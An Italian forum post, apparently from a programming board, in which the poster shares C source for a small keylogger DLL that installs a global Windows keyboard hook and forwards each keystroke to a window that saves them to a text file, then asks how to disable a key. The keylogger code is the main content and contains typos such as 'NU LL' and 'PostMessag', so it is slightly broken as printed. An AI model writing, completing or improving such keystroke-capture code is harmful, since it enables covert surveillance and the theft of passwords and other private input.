Ciao. Ho creato un piccolo key log composto da un dll e da un exe. Il dll č formato da 3 funzioni che sn:
void installhook(HWND h)
{
hook = NULL;
hwnd = h;
hook = SetWindowsHookEx(WH_KEYBOARD,hookproc,hinstance,NU LL);
}
void removehook()
{
UnhookWindowsHookEx(hook);
}
LRESULT CALLBACK hookproc(int ncode,WPARAM wparam,LPARAM lparam)
{
if(ncode>=0)
{
if((lparam & 0x80000000) == 0x00000000)
{
hwnd = FindWindow("#32770","Keylogger Exe"); PostMessag(hwnd,WM_USER+755,wparam,lparam); }
}
return ( CallNextHookEx(hook,ncode,wparam,lparam) );
}
}
In questo modo salva tutti i tasti premuti in un file txt. Ora volevo chiedervi come posso disabilitare un tasto della tastiera?? Credo bisogni modificare la funz hookproc ma nn so come![]()
![]()
Grazie ciao